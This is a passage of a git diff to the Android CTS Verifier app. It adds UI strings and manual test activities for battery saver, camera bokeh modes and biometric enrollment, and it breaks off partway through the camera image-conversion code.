<string name="aware_dp_ib_passphrase_solicited">Data Path: Passphrase: Solicited/Active</string>
+ <string name="aware_dp_ib_pmk_solicited">Data Path: PMK: Solicited/Active</string>
<string name="aware_discovery_ranging">Discovery with Ranging</string>
<string name="aware_publish">Publish</string>
<string name="aware_subscribe">Subscribe</string>
@@ -1807,6 +1870,10 @@
<string name="aware_data_path_passphrase_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Unsolicited/Passive\' / \'Subscribe\' test.</string>
<string name="aware_data_path_passphrase_passive_subscribe">Data Path: Passphrase: Passive Subscribe</string>
+ <string name="aware_data_path_pmk_unsolicited_publish">Data Path: PMK: Unsolicited Publish</string>
+ <string name="aware_data_path_pmk_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: PMK: Unsolicited/Passive\' / \'Subscribe\' test.</string>
+ <string name="aware_data_path_pmk_passive_subscribe">Data Path: PMK: Passive Subscribe</string>
+
<string name="aware_data_path_open_solicited_publish">Data Path: Open: Solicited Publish</string>
<string name="aware_data_path_open_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Open: Solicited/Active\' / \'Subscribe\' test.</string>
<string name="aware_data_path_open_active_subscribe">Data Path: Open: Active Subscribe</string>
@@ -1815,6 +1882,10 @@
<string name="aware_data_path_passphrase_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Solicited/Active\' / \'Subscribe\' test.</string>
<string name="aware_data_path_passphrase_active_subscribe">Data Path: Passphrase: Active Subscribe</string>
+ <string name="aware_data_path_pmk_solicited_publish">Data Path: PMK: Solicited Publish</string>
+ <string name="aware_data_path_pmk_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: PMK: Solicited/Active\' / \'Subscribe\' test.</string>
+ <string name="aware_data_path_pmk_active_subscribe">Data Path: PMK: Active Subscribe</string>
+
<string name="aware_data_path_oob_open_responder">Data Path (OOB): Open: Responder</string>
<string name="aware_data_path_oob_open_responder_info">The responder is now ready.\n\nOn the other device: start the \'Data Path (OOB): Open\' / \'Initiator\' test.</string>
<string name="aware_data_path_oob_open_initiator">Data Path (OOB): Open: Initiator</string>
@@ -2027,9 +2098,17 @@
<string name="cp_service_started">Service should start once enabled.</string>
<string name="cp_service_stopped">Service should stop once disabled.</string>
<string name="cp_unsubscribe_rule">Unsubscribing to Automatic Zen Rule</string>
- <string name="cp_delete_rule">Deleting Automatic Zen Rule</string>
+ <string name="cp_delete_rule">Deleting Automatic Zen Rule via api</string>
<string name="cp_get_rules">Retrieving Automatic Zen Rules</string>
<string name="cp_get_rule">Retrieving Automatic Zen Rule</string>
+ <string name="cp_show_rules">Click this button to launch the Automatic Zen Rule listing page in settings, and then return to this screen</string>
+ <string name="cp_show_rules_verification">Was the automatic rule screen shown?</string>
+ <string name="cp_disable_rule">Please disable rule "123" and return here.</string>
+ <string name="cp_enable_rule">Please enable rule "123" and return here.</string>
+ <string name="cp_delete_rule_broadcast">Please delete rule "123" and return here.</string>
+ <string name="cp_rule_type">CTS rule</string>
+ <string name="iva_pass">Pass</string>
+ <string name="iva_fail">Fail</string>
<string name="cacert_test">CA Cert Notification Test</string>
<string name="cacert_info">This test checks that when a CA Certificate is installed, the user is notified.</string>
@@ -4398,7 +4477,6 @@
<string name="screen_pin_check_pinned">Press Next to verify the app is pinned.</string>
<string name="screen_pin_no_exit">Try to leave the app without unpinning the screen. Press next once you have verified you cannot leave.</string>
<string name="screen_pin_exit">Use interactions defined by your device to unpin such as long pressing the back and overview button, then press next.</string>
- <string name="screen_pinning_done">All tests completed successfully.</string>
<string name="error_screen_no_longer_pinned">The screen was no longer pinned.</string>
<string name="error_screen_already_pinned">Cannot start the test with the screen already pinned.</string>
@@ -5159,10 +5237,15 @@
<string name="bubbles_notification_test_verify_9">Click the button below and verify that a bubble
appears on screen, auto-expanded.</string>
<string name="bubbles_notification_test_button_9">Send auto-expanded bubble notification</string>
- <string name="bubbles_notification_no_bubbles_low_mem">No bubbles on low memory device; no tests to run</string>
+ <string name="bubbles_notification_test_title_10">No bubbles on low memory device</string>
+ <string name="bubbles_notification_test_verify_10">Click the button below and verify that a
+ bubble does NOT appear on screen. Verify that there is a notification in the notification
+ shade.</string>
+ <string name="bubbles_notification_test_button_10">Add bubble</string>
<string name="bubbles_test_summary_title">Test Complete</string>
<string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
<string name="bubble_activity_title">Bubble Activity</string>
+
<!-- Strings for Instant Apps -->
<string name="ia_instruction_heading_label">Instructions:</string>
<string name="ia_instruction_text_photo_label">READ BEFORE STARTING TEST</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
new file mode 100644
index 0000000..d24fdb7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier;
+
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.Toast;
+
+/**
+ * {@link PassFailButtons.Activity} that supports showing a series of tests in order.
+ */
+public abstract class OrderedTestActivity extends PassFailButtons.Activity {
+ private static final String KEY_CURRENT_TEST = "current_test";
+
+ private Test[] mTests;
+ private int mTestIndex;
+
+ private Button mNextButton;
+ private TextView mInstructions;
+
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.ordered_test);
+ setPassFailButtonClickListeners();
+
+ mTests = getTests();
+
+ mInstructions = findViewById(R.id.txt_instruction);
+
+ mNextButton = findViewById(R.id.btn_next);
+ mNextButton.setOnClickListener(v -> {
+ if ((mTestIndex >= 0) && (mTestIndex < mTests.length)) {
+ mTests[mTestIndex].onNextClick();
+ }
+ });
+
+ // Don't allow pass until all tests complete.
+ findViewById(R.id.pass_button).setVisibility(View.GONE);
+
+ // Figure out if we are in a test or starting from the beginning.
+ if (savedInstanceState != null && savedInstanceState.containsKey(KEY_CURRENT_TEST)) {
+ mTestIndex = savedInstanceState.getInt(KEY_CURRENT_TEST);
+ } else {
+ mTestIndex = 0;
+ }
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+
+ mTests[mTestIndex].run();
+ }
+
+ /** Returns a list of tests to run in order. */
+ protected abstract Test[] getTests();
+
+ @Override
+ protected void onSaveInstanceState(Bundle outState) {
+ super.onSaveInstanceState(outState);
+
+ outState.putInt(KEY_CURRENT_TEST, mTestIndex);
+ }
+
+ protected void succeed() {
+ runOnUiThread(() -> {
+ mTestIndex++;
+ if (mTestIndex < mTests.length) {
+ mTests[mTestIndex].run();
+ } else {
+ // On test completion, hide "next" and "fail" buttons, and show "pass" button
+ // instead.
+ mInstructions.setText(R.string.tests_completed_successfully);
+ mNextButton.setVisibility(View.GONE);
+ findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+ findViewById(R.id.fail_button).setVisibility(View.GONE);
+ }
+ });
+ }
+
+ protected void error(int stringResId) {
+ Toast.makeText(this, stringResId, Toast.LENGTH_SHORT).show();
+ }
+
+ protected abstract class Test {
+ private final int mStringId;
+
+ public Test(int stringResId) {
+ mStringId = stringResId;
+ }
+
+ protected void run() {
+ showText();
+ }
+
+ protected void showText() {
+ if (mStringId == 0) {
+ return;
+ }
+ mInstructions.setText(mStringId);
+ }
+
+ protected void onNextClick() {
+ }
+ }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java
new file mode 100644
index 0000000..f0dc540
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.battery;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.BatteryManager;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.view.View;
+
+import com.android.cts.verifier.OrderedTestActivity;
+import com.android.cts.verifier.R;
+
+public class BatterySaverTestActivity extends OrderedTestActivity {
+ private PowerManager mPowerManager;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setInfoResources(R.string.battery_saver_test, R.string.battery_saver_test_info, -1);
+
+ mPowerManager = getSystemService(PowerManager.class);
+ }
+
+ @Override
+ protected OrderedTestActivity.Test[] getTests() {
+ return new Test[]{
+ // Confirm a battery exists before proceeding with the rest of the tests,
+ mConfirmBatteryExists,
+ // Verify device is unplugged.
+ mConfirmUnplugged,
+ // Verify battery saver is off.
+ mConfirmBsOff,
+ mEnableBs,
+ mDisableBs
+ };
+ }
+
+ private final Test mConfirmBatteryExists = new Test(
+ R.string.battery_saver_test_no_battery_detected) {
+ @Override
+ protected void run() {
+ super.run();
+
+ final Intent batteryInfo = registerReceiver(null, new
+ IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+
+ if (batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
+ succeed();
+ } else {
+ findViewById(R.id.btn_next).setVisibility(View.GONE);
+ // Set both pass and fail to visible in case the device is meant to have a battery.
+ findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+ findViewById(R.id.fail_button).setVisibility(View.VISIBLE);
+ }
+ }
+ };
+
+ private final Test mConfirmUnplugged = new Test(R.string.battery_saver_test_unplug) {
+ @Override
+ protected void run() {
+ super.run();
+
+ if (!isPluggedIn()) {
+ succeed();
+ }
+ }
+
+ @Override
+ protected void onNextClick() {
+ if (isPluggedIn()) {
+ error(R.string.battery_saver_test_device_plugged_in);
+ } else {
+ succeed();
+ }
+ }
+
+ private boolean isPluggedIn() {
+ Intent intent = registerReceiver(null,
+ new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ int plugged = intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
+ return plugged == BatteryManager.BATTERY_PLUGGED_AC
+ || plugged == BatteryManager.BATTERY_PLUGGED_USB
+ || plugged == BatteryManager.BATTERY_PLUGGED_WIRELESS;
+ }
+ };
+
+ private final Test mConfirmBsOff = new Test(R.string.battery_saver_test_start_turn_bs_off) {
+ @Override
+ protected void run() {
+ super.run();
+
+ if (!mPowerManager.isPowerSaveMode()) {
+ succeed();
+ }
+ }
+
+ @Override
+ protected void onNextClick() {
+ if (mPowerManager.isPowerSaveMode()) {
+ error(R.string.battery_saver_test_bs_on);
+ } else {
+ succeed();
+ }
+ }
+ };
+
+ private final Test mEnableBs = new Test(R.string.battery_saver_test_enable_bs) {
+ @Override
+ protected void onNextClick() {
+ if (mPowerManager.isPowerSaveMode()) {
+ succeed();
+ } else {
+ error(R.string.battery_saver_test_bs_off);
+ }
+ }
+ };
+
+ private final Test mDisableBs = new Test(R.string.battery_saver_test_disable_bs) {
+ @Override
+ protected void onNextClick() {
+ if (!mPowerManager.isPowerSaveMode()) {
+ succeed();
+ } else {
+ error(R.string.battery_saver_test_bs_on);
+ }
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
index 3298e84..340b09b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricTest.java
@@ -18,8 +18,6 @@
import android.Manifest;
import android.app.AlertDialog;
-import android.app.Dialog;
-import android.app.DialogFragment;
import android.app.KeyguardManager;
import android.content.DialogInterface;
import android.content.Intent;
@@ -30,6 +28,7 @@
import android.os.CancellationSignal;
import android.os.Handler;
import android.os.Looper;
+import android.provider.Settings;
import android.text.InputType;
import android.util.Log;
import android.view.View;
@@ -54,7 +53,6 @@
public class BiometricTest extends PassFailButtons.Activity {
private static final String TAG = "BiometricTest";
- private static final String BIOMETRIC_ENROLL = "android.settings.BIOMETRIC_ENROLL";
private static final int BIOMETRIC_PERMISSION_REQUEST_CODE = 0;
// Test that BiometricPrompt setAllowDeviceCredentials returns ERROR_NO_DEVICE_CREDENTIAL when
@@ -183,7 +181,9 @@
});
mButtonEnroll.setOnClickListener((view) -> {
final Intent intent = new Intent();
- intent.setAction(BIOMETRIC_ENROLL);
+ intent.setAction(Settings.ACTION_BIOMETRIC_ENROLL);
+ intent.putExtra(Settings.EXTRA_BIOMETRIC_MINIMUM_STRENGTH_REQUIRED,
+ BiometricManager.Authenticators.BIOMETRIC_STRONG);
startActivity(intent);
});
mButtonTestCredential.setOnClickListener((view) -> {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
new file mode 100644
index 0000000..fd38e98
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -0,0 +1,813 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.camera.bokeh;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.ex.camera2.blocking.BlockingCameraManager;
+import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+
+import android.app.AlertDialog;
+import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.ColorMatrixColorFilter;
+import android.graphics.ImageFormat;
+import android.graphics.Matrix;
+import android.graphics.RectF;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCharacteristics.Key;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.params.Capability;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.TotalCaptureResult;
+import android.media.Image;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.util.Size;
+import android.util.SparseArray;
+import android.view.Menu;
+import android.view.MenuItem;
+import android.view.View;
+import android.view.Surface;
+import android.view.TextureView;
+import android.widget.AdapterView;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.ImageButton;
+import android.widget.ImageView;
+import android.widget.Spinner;
+import android.widget.TextView;
+import android.widget.Toast;
+import android.content.Context;
+
+import java.lang.Math;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Optional;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Tests for manual verification of bokeh modes supported by the camera device.
+ */
+public class CameraBokehActivity extends PassFailButtons.Activity
+ implements TextureView.SurfaceTextureListener,
+ ImageReader.OnImageAvailableListener {
+
+ private static final String TAG = "CameraBokehActivity";
+ private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+ private static final int SESSION_READY_TIMEOUT_MS = 5000;
+ private static final Size FULLHD = new Size(1920, 1080);
+ private static final ColorMatrixColorFilter sJFIF_YUVToRGB_Filter =
+ new ColorMatrixColorFilter(new float[] {
+ 1f, 0f, 1.402f, 0f, -179.456f,
+ 1f, -0.34414f, -0.71414f, 0f, 135.46f,
+ 1f, 1.772f, 0f, 0f, -226.816f,
+ 0f, 0f, 0f, 1f, 0f
+ });
+
+ private TextureView mPreviewView;
+ private SurfaceTexture mPreviewTexture;
+ private Surface mPreviewSurface;
+ private int mPreviewTexWidth, mPreviewTexHeight;
+
+ private ImageView mImageView;
+ private ColorFilter mCurrentColorFilter;
+
+ private Spinner mCameraSpinner;
+ private TextView mTestLabel;
+ private TextView mPreviewLabel;
+ private TextView mImageLabel;
+
+ private CameraManager mCameraManager;
+ private String[] mCameraIdList;
+ private HandlerThread mCameraThread;
+ private Handler mCameraHandler;
+ private BlockingCameraManager mBlockingCameraManager;
+ private CameraCharacteristics mCameraCharacteristics;
+ private BlockingStateCallback mCameraListener;
+
+ private BlockingSessionCallback mSessionListener;
+ private CaptureRequest.Builder mPreviewRequestBuilder;
+ private CaptureRequest mPreviewRequest;
+ private CaptureRequest.Builder mStillCaptureRequestBuilder;
+ private CaptureRequest mStillCaptureRequest;
+
+ private HashMap<String, ArrayList<Capability>> mTestCases = new HashMap<>();
+ private int mCurrentCameraIndex = -1;
+ private String mCameraId;
+ private CameraCaptureSession mCaptureSession;
+ private CameraDevice mCameraDevice;
+
+ SizeComparator mSizeComparator = new SizeComparator();
+
+ private Size mPreviewSize;
+ private Size mJpegSize;
+ private ImageReader mJpegImageReader;
+ private ImageReader mYuvImageReader;
+
+ private SparseArray<String> mModeNames;
+
+ private CameraCombination mNextCombination;
+ private Size mMaxBokehStreamingSize;
+
+ private Button mNextButton;
+
+ private final TreeSet<CameraCombination> mTestedCombinations = new TreeSet<>(COMPARATOR);
+ private final TreeSet<CameraCombination> mUntestedCombinations = new TreeSet<>(COMPARATOR);
+ private final TreeSet<String> mUntestedCameras = new TreeSet<>();
+
+ // Menu to show the test progress
+ private static final int MENU_ID_PROGRESS = Menu.FIRST + 1;
+
+ private class CameraCombination {
+ private final int mCameraIndex;
+ private final int mMode;
+ private final Size mPreviewSize;
+ private final boolean mIsStillCapture;
+ private final String mCameraId;
+ private final String mModeName;
+
+ private CameraCombination(int cameraIndex, int mode,
+ int streamingWidth, int streamingHeight,
+ String cameraId, String modeName,
+ boolean isStillCapture) {
+ this.mCameraIndex = cameraIndex;
+ this.mMode = mode;
+ this.mPreviewSize = new Size(streamingWidth, streamingHeight);
+ this.mCameraId = cameraId;
+ this.mModeName = modeName;
+ this.mIsStillCapture = isStillCapture;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("Camera %s, mode %s, intent %s",
+ mCameraId, mModeName, mIsStillCapture ? "PREVIEW" : "STILL_CAPTURE");
+ }
+ }
+
+ private static final Comparator<CameraCombination> COMPARATOR =
+ Comparator.<CameraCombination, Integer>comparing(c -> c.mCameraIndex)
+ .thenComparing(c -> c.mMode)
+ .thenComparing(c -> c.mIsStillCapture);
+
+ private CameraCaptureSession.CaptureCallback mCaptureCallback =
+ new CameraCaptureSession.CaptureCallback() {
+ @Override
+ public void onCaptureProgressed(CameraCaptureSession session,
+ CaptureRequest request,
+ CaptureResult partialResult) {
+ // Don't need to do anything here.
+ }
+
+ @Override
+ public void onCaptureCompleted(CameraCaptureSession session,
+ CaptureRequest request,
+ TotalCaptureResult result) {
+ // Don't need to do anything here.
+ }
+ };
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.cb_main);
+
+ setPassFailButtonClickListeners();
+
+ mPreviewView = (TextureView) findViewById(R.id.preview_view);
+ mImageView = (ImageView) findViewById(R.id.image_view);
+
+ mPreviewView.setSurfaceTextureListener(this);
+
+ mCameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
+ try {
+ mCameraIdList = mCameraManager.getCameraIdList();
+ for (String id : mCameraIdList) {
+ CameraCharacteristics characteristics =
+ mCameraManager.getCameraCharacteristics(id);
+ Key<Capability[]> key =
+ CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
+ Capability[] bokehCaps = characteristics.get(key);
+
+ if (bokehCaps == null) {
+ continue;
+ }
+
+ ArrayList<Capability> nonOffModes = new ArrayList<>();
+ for (Capability bokehCap : bokehCaps) {
+ int mode = bokehCap.getMode();
+ if (mode == CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE ||
+ mode == CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS) {
+ nonOffModes.add(bokehCap);
+ }
+ }
+
+ if (nonOffModes.size() > 0) {
+ mUntestedCameras.add("All combinations for Camera " + id);
+ mTestCases.put(id, nonOffModes);
+ }
+
+ }
+ } catch (CameraAccessException e) {
+ e.printStackTrace();
+ }
+
+ // If no supported bokeh modes, mark the test as pass
+ if (mTestCases.size() == 0) {
+ setInfoResources(R.string.camera_bokeh_test, R.string.camera_bokeh_no_support, -1);
+ setPassButtonEnabled(true);
+ } else {
+ setInfoResources(R.string.camera_bokeh_test, R.string.camera_bokeh_test_info, -1);
+ // disable "Pass" button until all combinations are tested
+ setPassButtonEnabled(false);
+ }
+
+ Set<String> cameraIdSet = mTestCases.keySet();
+ String[] cameraNames = new String[cameraIdSet.size()];
+ int i = 0;
+ for (String id : cameraIdSet) {
+ cameraNames[i++] = "Camera " + id;
+ }
+ mCameraSpinner = (Spinner) findViewById(R.id.cameras_selection);
+ mCameraSpinner.setAdapter(
+ new ArrayAdapter<String>(
+ this, R.layout.camera_list_item, cameraNames));
+ mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
+
+ mTestLabel = (TextView) findViewById(R.id.test_label);
+ mPreviewLabel = (TextView) findViewById(R.id.preview_label);
+ mImageLabel = (TextView) findViewById(R.id.image_label);
+
+ // Must be kept in sync with camera bokeh mode manually
+ mModeNames = new SparseArray(2);
+ mModeNames.append(
+ CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE, "STILL_CAPTURE");
+ mModeNames.append(
+ CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS, "CONTINUOUS");
+
+ mNextButton = findViewById(R.id.next_button);
+ mNextButton.setOnClickListener(v -> {
+ if (mNextCombination != null) {
+ mUntestedCombinations.remove(mNextCombination);
+ mTestedCombinations.add(mNextCombination);
+ }
+ setUntestedCombination();
+
+ if (mNextCombination != null) {
+ if (mNextCombination.mIsStillCapture) {
+ takePicture();
+ } else {
+ if (mCaptureSession != null) {
+ mCaptureSession.close();
+ }
+ startPreview();
+ }
+ }
+ });
+
+ mBlockingCameraManager = new BlockingCameraManager(mCameraManager);
+ mCameraListener = new BlockingStateCallback();
+ }
+
+ /**
+ * Set an untested combination of resolution and bokeh mode for the current camera.
+ * Triggered by next button click.
+ */
+ private void setUntestedCombination() {
+ Optional<CameraCombination> combination = mUntestedCombinations.stream().filter(
+ c -> c.mCameraIndex == mCurrentCameraIndex).findFirst();
+ if (!combination.isPresent()) {
+ Toast.makeText(this, "All Camera " + mCurrentCameraIndex + " tests are done.",
+ Toast.LENGTH_SHORT).show();
+ mNextCombination = null;
+
+ if (mUntestedCombinations.isEmpty() && mUntestedCameras.isEmpty()) {
+ setPassButtonEnabled(true);
+ }
+ return;
+ }
+
+ // There is untested combination for the current camera, set the next untested combination.
+ mNextCombination = combination.get();
+ int nextMode = mNextCombination.mMode;
+ ArrayList<Capability> bokehCaps = mTestCases.get(mCameraId);
+ for (Capability cap : bokehCaps) {
+ if (cap.getMode() == nextMode) {
+ mMaxBokehStreamingSize = cap.getMaxStreamingSize();
+ }
+ }
+
+ // Update bokeh mode and use case
+ String testString = "Mode: " + mModeNames.get(mNextCombination.mMode);
+ if (mNextCombination.mIsStillCapture) {
+ testString += "\nIntent: Capture";
+ } else {
+ testString += "\nIntent: Preview";
+ }
+ testString += "\n\nPress Next if the bokeh effect works as intended";
+ mTestLabel.setText(testString);
+
+ // Update preview view and image view bokeh expectation
+ boolean previewIsBokehCompatible =
+ mSizeComparator.compare(mNextCombination.mPreviewSize, mMaxBokehStreamingSize) <= 0;
+ String previewLabel = "Normal preview";
+ if (previewIsBokehCompatible || mNextCombination.mIsStillCapture) {
+ previewLabel += " with bokeh";
+ }
+ mPreviewLabel.setText(previewLabel);
+
+ String imageLabel;
+ if (mNextCombination.mIsStillCapture) {
+ imageLabel = "JPEG with bokeh";
+ } else {
+ imageLabel = "YUV";
+ if (previewIsBokehCompatible) {
+ imageLabel += " with bokeh";
+ }
+ }
+ mImageLabel.setText(imageLabel);
+ }
+
+ @Override
+ public boolean onCreateOptionsMenu(Menu menu) {
+ menu.add(Menu.NONE, MENU_ID_PROGRESS, Menu.NONE, "Current Progress");
+ return super.onCreateOptionsMenu(menu);
+ }
+
+ @Override
+ public boolean onOptionsItemSelected(MenuItem item) {
+ boolean ret = true;
+ switch (item.getItemId()) {
+ case MENU_ID_PROGRESS:
+ showCombinationsDialog();
+ ret = true;
+ break;
+ default:
+ ret = super.onOptionsItemSelected(item);
+ break;
+ }
+ return ret;
+ }
+
+ private void showCombinationsDialog() {
+ AlertDialog.Builder builder =
+ new AlertDialog.Builder(CameraBokehActivity.this);
+ builder.setMessage(getTestDetails())
+ .setTitle("Current Progress")
+ .setPositiveButton("OK", null);
+ builder.show();
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+
+ startBackgroundThread();
+
+ int cameraIndex = mCameraSpinner.getSelectedItemPosition();
+ if (cameraIndex >= 0) {
+ setUpCamera(mCameraSpinner.getSelectedItemPosition());
+ }
+ }
+
+ @Override
+ public void onPause() {
+ shutdownCamera();
+ stopBackgroundThread();
+
+ super.onPause();
+ }
+
+ @Override
+ public String getTestDetails() {
+ StringBuilder reportBuilder = new StringBuilder();
+ reportBuilder.append("Tested combinations:\n");
+ for (CameraCombination combination: mTestedCombinations) {
+ reportBuilder.append(combination);
+ reportBuilder.append("\n");
+ }
+
+ reportBuilder.append("Untested cameras:\n");
+ for (String untestedCamera : mUntestedCameras) {
+ reportBuilder.append(untestedCamera);
+ reportBuilder.append("\n");
+ }
+ reportBuilder.append("Untested combinations:\n");
+ for (CameraCombination combination: mUntestedCombinations) {
+ reportBuilder.append(combination);
+ reportBuilder.append("\n");
+ }
+ return reportBuilder.toString();
+ }
+
+ @Override
+ public void onSurfaceTextureAvailable(SurfaceTexture surfaceTexture,
+ int width, int height) {
+ mPreviewTexture = surfaceTexture;
+ mPreviewTexWidth = width;
+ mPreviewTexHeight = height;
+
+ mPreviewSurface = new Surface(mPreviewTexture);
+
+ if (mCameraDevice != null) {
+ startPreview();
+ }
+ }
+
+ @Override
+ public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
+ // Ignored, Camera does all the work for us
+ if (VERBOSE) {
+ Log.v(TAG, "onSurfaceTextureSizeChanged: " + width + " x " + height);
+ }
+ }
+
+ @Override
+ public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
+ mPreviewTexture = null;
+ return true;
+ }
+
+ @Override
+ public void onSurfaceTextureUpdated(SurfaceTexture surface) {
+ // Invoked every time there's a new Camera preview frame
+ }
+
+ @Override
+ public void onImageAvailable(ImageReader reader) {
+ Image img = null;
+ try {
+ img = reader.acquireNextImage();
+ final int format = img.getFormat();
+
+ Size configuredSize = (format == ImageFormat.YUV_420_888 ? mPreviewSize : mJpegSize);
+ Bitmap imgBitmap = null;
+ if (format == ImageFormat.YUV_420_888) {
+ ByteBuffer yBuffer = img.getPlanes()[0].getBuffer();
+ ByteBuffer uBuffer = img.getPlanes()[1].getBuffer();
+ ByteBuffer vBuffer = img.getPlanes()[2].getBuffer();
+ yBuffer.rewind();
+ uBuffer.rewind();
+ vBuffer.rewind();
+ int w = configuredSize.getWidth();
+ int h = configuredSize.getHeight();
+ int stride = img.getPlanes()[0].getRowStride();
+ int uStride = img.getPlanes()[1].getRowStride();
+ int vStride = img.getPlanes()[2].getRowStride();
+ int uPStride = img.getPlanes()[1].getPixelStride();
+ int vPStride = img.getPlanes()[2].getPixelStride();
+ byte[] row = new byte[configuredSize.getWidth()];
+ byte[] uRow = new byte[(configuredSize.getWidth()/2-1)*uPStride + 1];
+ byte[] vRow = new byte[(configuredSize.getWidth()/2-1)*vPStride + 1];
+ int[] imgArray = new int[w * h];
+ for (int y = 0, j = 0, rowStart = 0, uRowStart = 0, vRowStart = 0; y < h;
+ y++, rowStart += stride) {
+ yBuffer.position(rowStart);
+ yBuffer.get(row);
+ if (y % 2 == 0) {
+ uBuffer.position(uRowStart);
+ uBuffer.get(uRow);
+ vBuffer.position(vRowStart);
+ vBuffer.get(vRow);
+ uRowStart += uStride;
+ vRowStart += vStride;
+ }
+ for (int x = 0, i = 0; x < w; x++) {
